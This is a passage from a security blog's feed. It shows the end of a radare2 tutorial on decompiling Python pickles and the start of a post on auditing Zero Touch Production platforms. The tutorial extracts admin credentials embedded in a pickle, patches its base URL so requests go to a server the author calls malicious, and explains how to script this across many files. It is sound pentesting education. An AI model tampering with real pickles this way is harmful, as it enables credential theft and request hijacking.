0x000000c0  6573 7473 2f32 2e32 382e 3294 8694 8c0f  ests/2.28.2.....
0x000000d0  6163 6365 7074 2d65 6e63 6f64 696e 6794  accept-encoding.
0x000000e0  8c0f 4163 6365 7074 2d45 6e63 6f64 696e  ..Accept-Encodin
0x000000f0  6794 8c0d 677a 6970 2c20 6465 666c 6174  g...gzip, deflat
[0x00000000]&amp;gt; pd
            0x00000000      8004           proto 0x4
            0x00000002      95bf05000000.  frame 0x5bf
            0x0000000b      8c1172657175.  short_binunicode &quot;requests.sessions&quot; ; 0xd
            0x0000001e      94             memoize
            0x0000001f      8c0753657373.  short_binunicode &quot;Session&quot;  ; 0x21 ; 2'!'
            0x00000028      94             memoize
            0x00000029      93             stack_global
            0x0000002a      94             memoize
            0x0000002b      29             empty_tuple
            0x0000002c      81             newobj
            0x0000002d      94             memoize
            0x0000002e      7d             empty_dict
            0x0000002f      94             memoize
            0x00000030      28             mark
            0x00000031      8c0768656164.  short_binunicode &quot;headers&quot;  ; 0x33 ; 2'3'
            0x0000003a      94             memoize
            0x0000003b      8c1372657175.  short_binunicode &quot;requests.structures&quot; ; 0x3d ; 2'='
            0x00000050      94             memoize
            0x00000051      8c1343617365.  short_binunicode &quot;CaseInsensitiveDict&quot; ; 0x53 ; 2'S'
            0x00000066      94             memoize
            0x00000067      93             stack_global
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From the above assembly it appears this file is indeed a pickle. We also see
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requests.sessions&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Session&lt;/code&gt; as strings. This pickle likely imports
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requests&lt;/code&gt; and uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sessions&lt;/code&gt;. Let’s decompile it. We will run the command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdPf @0
~...&lt;/code&gt;. This takes some explaining though, since it uses a couple of r2’s
features.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdPf&lt;/code&gt; - R2pickledec uses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdP&lt;/code&gt; command (see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdP?&lt;/code&gt;). Adding an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;f&lt;/code&gt;
causes the decompiler to set r2 flags for every variable name. This will make
renaming variables and jumping to interesting locations easier.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@0&lt;/code&gt; - This tells r2 to run the command at offset 0 instead of the current
seek address. This does not matter now because our current offset defaults to
    &lt;ol&gt;
      &lt;li&gt;I just make this a habit in general to prevent mistakes when I am seeking
around to patch something.&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~..&lt;/code&gt; - This is the r2 version of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;|less&lt;/code&gt;. It uses r2’s built in pager. If
you like the real &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;less&lt;/code&gt; better, you can just use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;|less&lt;/code&gt;. R2 commands can be
piped to any command line program.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once we execute the command, we will see a Python-like source representation of
the pickle. The code is seen below, but snipped. All comments below were added
by the decompiler.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;## VM stack start, len 1
## VM[0] TOP
str_xb = &quot;__main__&quot;
str_x16 = &quot;Api&quot;
g_Api_x1c = _find_class(str_xb, str_x16)
str_x24 = &quot;session&quot;
str_x2e = &quot;requests.sessions&quot;
str_x42 = &quot;Session&quot;
g_Session_x4c = _find_class(str_x2e, str_x42)
str_x54 = &quot;headers&quot;
str_x5e = &quot;requests.structures&quot;
str_x74 = &quot;CaseInsensitiveDict&quot;
g_CaseInsensitiveDict_x8a = _find_class(str_x5e, str_x74)
str_x91 = &quot;_store&quot;
str_x9a = &quot;collections&quot;
str_xa8 = &quot;OrderedDict&quot;
g_OrderedDict_xb6 = _find_class(str_x9a, str_xa8)
str_xbc = &quot;user-agent&quot;
str_xc9 = &quot;User-Agent&quot;
str_xd6 = &quot;python-requests/2.28.2&quot;
tup_xef = (str_xc9, str_xd6)
str_xf1 = &quot;accept-encoding&quot;
...
str_x5c9 = &quot;stream&quot;
str_x5d3 = &quot;trust_env&quot;
str_x5e0 = &quot;max_redirects&quot;
dict_x51 = {
        str_x54: what_x16c,
        str_x16d: what_x30d,
        str_x30e: tup_x32f,
        str_x331: dict_x33b,
        str_x33d: dict_x345,
        str_x355: dict_x35e,
        str_x360: True,
        str_x36a: None,
        str_x372: what_x5c8,
        str_x5c9: False,
        str_x5d3: True,
        str_x5e0: 30
}
what_x5f3 = g_Session_x4c.__new__(g_Session_x4c, *())
what_x5f3.__setstate__(dict_x51)
str_x5f4 = &quot;baseurl&quot;
str_x5fe = &quot;https://example.com/&quot;
dict_x21 = {str_x24: what_x5f3, str_x5f4: str_x5fe}
what_x616 = g_Api_x1c.__new__(g_Api_x1c, *())
what_x616.__setstate__(dict_x21)
return what_x616
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’s usually best to start reversing at the end with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;return&lt;/code&gt; line. That is
what is being returned from the pickle. Hit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;G&lt;/code&gt; to go to the end of the file.
You will see the following code.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;str_x5f4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;baseurl&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;str_x5fe&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;https://example.com/&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;dict_x21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str_x24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;what_x5f3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str_x5f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str_x5fe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;what_x616&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;g_Api_x1c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__new__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;g_Api_x1c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;what_x616&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__setstate__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dict_x21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;what_x616&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;what_x616&lt;/code&gt; variable is getting returned. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;what&lt;/code&gt; part of the variable
indicates that the decompiler does not know what type of object this is. This
is because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;what_x616&lt;/code&gt; is the result of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;g_Api_x1c.__new__&lt;/code&gt; call. On the
other hand, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;g_Api_x1c&lt;/code&gt; gets a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;g_&lt;/code&gt; prefix. The decompiler knows this is a
global, since it is from an import. It even adds the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Api&lt;/code&gt; part in to hint at 
what the import it. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x1c&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x616&lt;/code&gt; indicate the offset in the pickle 
where the object was created. We will use that later to patch the pickle.&lt;/p&gt;

&lt;p&gt;Since we used flags, we can easily rename variables by renaming the flag. It
might be helpful to rename the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;g_Api_x1c&lt;/code&gt; to make it easier to search for.
Rename the flag with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fr pick.g_Api_x1c pick.api&lt;/code&gt;. Notice, the flag will tab
complete. List all flags with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;f&lt;/code&gt; command. See &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;f?&lt;/code&gt; for help.&lt;/p&gt;

&lt;p&gt;Now run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdP @0 ~..&lt;/code&gt; again. Instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;g_Api_x1c&lt;/code&gt; you will see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;api&lt;/code&gt;. If we
search for its first use, you will find the below code.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;str_xb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;__main__&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;str_x16&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Api&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;api&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_find_class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str_xb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str_x16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;str_x24&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;session&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;str_x2e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;requests.sessions&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;str_x42&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Session&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;g_Session_x4c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_find_class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str_x2e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str_x42&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Naively, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_find_class(module, name)&lt;/code&gt; is equivalent to
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_getattribute(sys.modules[module], name)[0]&lt;/code&gt;. We can see the module is
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__main__&lt;/code&gt; and the name is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Api&lt;/code&gt;. So the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;api&lt;/code&gt; variable is just &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__main__.Api&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In this snippet of code, we see the request session being imported. You may 
have noticed the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;baseurl&lt;/code&gt; field in the previous snippet of code. Looks like 
this object contains a session for making backend API requests. Can we steal
something good from it? Googling for “requests session basic authentication”
turns up the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; attribute. Let’s look for “auth” in our pickle.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;str_x30e = &quot;auth&quot;
str_x315 = &quot;admin&quot;
str_x31d = &quot;Pickles are fun&quot;
tup_x32f = (str_x315, str_x31d)
str_x331 = &quot;proxies&quot;
dict_x33b = {}
...
dict_x51 = {
        str_x54: what_x16c,
        str_x16d: what_x30d,
        str_x30e: tup_x32f,
        str_x331: dict_x33b,
        str_x33d: dict_x345,
        str_x355: dict_x35e,
        str_x360: True,
        str_x36a: None,
        str_x372: what_x5c8,
        str_x5c9: False,
        str_x5d3: True,
        str_x5e0: 30
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It might be helpful to rename variables for understanding, or run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdP &amp;gt;
/tmp/pickle_source.py&lt;/code&gt; to get a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.py&lt;/code&gt; file to open in your favorite text editor.
In short though, the above code sets up the dictionary &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dict_x51&lt;/code&gt; where the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth&lt;/code&gt; element is set to the tuple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(&quot;admin&quot;, &quot;Pickles are fun&quot;)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;We just stole the admin credentials!&lt;/p&gt;

&lt;h2 id=&quot;patching&quot;&gt;Patching&lt;/h2&gt;

&lt;p&gt;Now I don’t recommend doing this on a real pentest, but let’s take things
farther. We can patch the pickle to use our own malicious webserver. We first
need to find the current URL, so we search for “https” and find the following code.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;str_x5f4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;baseurl&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;str_x5fe&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;https://example.com/&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;dict_x21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str_x24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;what_x5f3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str_x5f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str_x5fe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;what_x616&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;api&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__new__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;g_Api_x1c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;baseurl&lt;/code&gt; of the API is being set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example.com/&lt;/code&gt;. To patch
this, we seek to where the URL string is created. We can use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x5fe&lt;/code&gt; in the
variable name to know where the variable was created, or we can just seek to
the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pick.str_x5e&lt;/code&gt; flag. When seeking to a flag in r2 you can tab complete the
flag. Notice the prompt changes its location number after the &lt;strong&gt;s&lt;/strong&gt;eek command.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[0x00000000]&amp;gt; s pick.str_x5fe
[0x000005fe]&amp;gt; pd 1
            ;-- pick.str_x5fe:
            0x000005fe      8c1468747470.  short_binunicode &quot;https://example.com/&quot; ; 0x600
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s overwrite this URL with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://doyensec.com/&lt;/code&gt;. The below Radare2
commands are commented so you can understand what they are doing.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[0x000005fe]&amp;gt; oo+ # reopen file in read/write mode
[0x000005fe]&amp;gt; pd 3 # double check what next instructions should be
            ;-- pick.str_x5fe:
            0x000005fe      8c1468747470.  short_binunicode &quot;https://example.com/&quot; ; 0x600
            0x00000614      94             memoize
            0x00000615      75             setitems
[0x000005fe]&amp;gt; r+ 1 # add one extra byte to the file, since our new URL is slightly longer
[0x000005fe]&amp;gt; wa short_binunicode &quot;https://doyensec.com/&quot;
INFO: Written 23 byte(s) (short_binunicode &quot;https://doyensec.com/&quot;) = wx 8c1568747470733a2f2f646f79656e7365632e636f6d2f @ 0x000005fe
[0x000005fe]&amp;gt; pd 3     # double check we did not clobber an instruction
            ;-- pick.str_x5fe:
            0x000005fe      8c1568747470.  short_binunicode &quot;https://doyensec.com/&quot; ; 0x600
            0x00000615      94             memoize
            ;-- pick.what_x616:
            0x00000616      75             setitems
[0x000005fe]&amp;gt; pdP @0 |tail      # check that the patch worked
        str_x5e0: 30
}
what_x5f3 = g_Session_x4c.__new__(g_Session_x4c, *())
what_x5f3.__setstate__(dict_x51)
str_x5f4 = &quot;baseurl&quot;
str_x5fe = &quot;https://doyensec.com/&quot;
dict_x21 = {str_x24: what_x5f3, str_x5f4: str_x5fe}
what_x617 = g_Api_x1c.__new__(g_Api_x1c, *())
what_x617.__setstate__(dict_x21)
return what_x617
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;json-and-automation&quot;&gt;JSON and Automation&lt;/h2&gt;

&lt;p&gt;Imagine this is just the first of 100 files and you want to patch them all.
Radare2 is easy to script with &lt;a href=&quot;https://www.radare.org/n/r2pipe.html&quot;&gt;r2pipe&lt;/a&gt;.
Most commands in r2 have a JSON variant by adding a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;j&lt;/code&gt; to the end. In this
case, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdPj&lt;/code&gt; will produce an AST in JSON. This is complete with offsets. Using
this you can write a parser that will automatically find the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;baseurl&lt;/code&gt; element
of the returned &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;api&lt;/code&gt; object, get the offset and patch it.&lt;/p&gt;

&lt;p&gt;JSON can also be helpful without r2pipe. This is because r2 has a bunch of
built-in features for dealing with JSON. For example, we can pretty print JSON
with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~{}&lt;/code&gt;, but for this pickle it would produce 1492 lines of JSON. So better
yet, use r2’s internal &lt;a href=&quot;https://github.com/tomnomnom/gron&quot;&gt;gron&lt;/a&gt; output with
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~{=}&lt;/code&gt; and grep for what you want.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[0x000005fe]&amp;gt; pdPj @0 ~{=}https
json.stack[0].value[1].args[0].value[0][1].value[1].args[0].value[1][1].value[1].args[0].value[0][1].value[1].args[0].value[10][1].value[0].value = &quot;https&quot;;
json.stack[0].value[1].args[0].value[0][1].value[1].args[0].value[8][1].value[1].args[0].value = &quot;https://&quot;;
json.stack[0].value[1].args[0].value[1][1].value = &quot;https://doyensec.com/&quot;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we can go use the provided JSON path to find the offset of the doyensec.com URL.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[0x00000000]&amp;gt; pdPj @0 ~{stack[0].value[1].args[0].value[1][1].value}
https://doyensec.com/
[0x00000000]&amp;gt; pdPj @0 ~{stack[0].value[1].args[0].value[1][1]}
{&quot;offset&quot;:1534,&quot;type&quot;:&quot;PY_STR&quot;,&quot;value&quot;:&quot;https://doyensec.com/&quot;}
[0x00000000]&amp;gt; pdPj @0 ~{stack[0].value[1].args[0].value[1][1].offset}
1534
[0x00000000]&amp;gt; s `pdPj @0 ~{stack[0].value[1].args[0].value[1][1].offset}` ## seek to address using subcomand
[0x000005fe]&amp;gt; pd 1
            ;-- pick.str_x5fe:
            0x000005fe      8c1568747470.  short_binunicode &quot;https://doyensec.com/&quot; ; 0x600
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Don’t forget you can pipe to external commands. For example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdPj |jq&lt;/code&gt; can be used to
search the AST for different patterns. For example, you could return all
objects where the type is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PY_GLOBAL&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;The r2pickledec plugin simplifies reversing of pickles. Because it is a r2
plugin, you get all the features of r2. We barely scratched the surface of what
r2 can do. If you’d like to learn more, check out the r2 &lt;a href=&quot;https://book.rada.re/&quot;&gt;book&lt;/a&gt;.
Be sure to keep an eye out for my next post where I will go into Python pickle obfuscation
techniques.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Testing Zero Touch Production Platforms and Safe Proxies</title>
   <link href="https://blog.doyensec.com/2023/05/04/testing-ztp-platforms-a-primer.html"/>
   <updated>2023-05-04T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2023/05/04/testing-ztp-platforms-a-primer</id>
   <content type="html">&lt;p&gt;As more companies develop in-house services and tools to moderate access to production environments, the importance of understanding and testing these Zero Touch Production (ZTP) platforms grows &lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; &lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;. This blog post aims to provide an overview of ZTP tools and services, explore their security role in DevSecOps, and outline common pitfalls to watch out for when testing them.&lt;/p&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#sre-ztp&quot; id=&quot;markdown-toc-sre-ztp&quot;&gt;SRE? ZTP?&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#safe-proxies-in-production&quot; id=&quot;markdown-toc-safe-proxies-in-production&quot;&gt;Safe Proxies In Production&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#the-safety--security-roles-of-safe-proxies&quot; id=&quot;markdown-toc-the-safety--security-roles-of-safe-proxies&quot;&gt;The safety &amp;amp; security roles of Safe Proxies&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#what-does-ztp-look-like-today&quot; id=&quot;markdown-toc-what-does-ztp-look-like-today&quot;&gt;What does ZTP look like today&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#what-to-look-for-when-auditing-ztp-toolsservices&quot; id=&quot;markdown-toc-what-to-look-for-when-auditing-ztp-toolsservices&quot;&gt;What to look for when auditing ZTP tools/services&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#a-web-attack-surface&quot; id=&quot;markdown-toc-a-web-attack-surface&quot;&gt;A. Web Attack Surface&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#b-hooks&quot; id=&quot;markdown-toc-b-hooks&quot;&gt;B. Hooks&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#c-safe-centralization&quot; id=&quot;markdown-toc-c-safe-centralization&quot;&gt;C. Safe Centralization&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#d-insecure-default-templates&quot; id=&quot;markdown-toc-d-insecure-default-templates&quot;&gt;D. Insecure Default Templates&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#e-logging&quot; id=&quot;markdown-toc-e-logging&quot;&gt;E. Logging&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#f-rate-limiting&quot; id=&quot;markdown-toc-f-rate-limiting&quot;&gt;F. Rate-limiting&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#g-acl-ownership&quot; id=&quot;markdown-toc-g-acl-ownership&quot;&gt;G. ACL Ownership&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#h-command-safeguards&quot; id=&quot;markdown-toc-h-command-safeguards&quot;&gt;H. Command Safeguards&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#i-traceability-and-scoping&quot; id=&quot;markdown-toc-i-traceability-and-scoping&quot;&gt;I. Traceability and Scoping&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#j-scoped-access&quot; id=&quot;markdown-toc-j-scoped-access&quot;&gt;J. Scoped Access&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#k-different-interfaces-different-requirements&quot; id=&quot;markdown-toc-k-different-interfaces-different-requirements&quot;&gt;K. Different Interfaces, Different Requirements&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#l-service-vs-global-rules&quot; id=&quot;markdown-toc-l-service-vs-global-rules&quot;&gt;L. Service vs Global rules&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#m-command-parsing&quot; id=&quot;markdown-toc-m-command-parsing&quot;&gt;M. Command Parsing&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#n-race-conditions&quot; id=&quot;markdown-toc-n-race-conditions&quot;&gt;N. Race Conditions&lt;/a&gt;&lt;/li&gt;
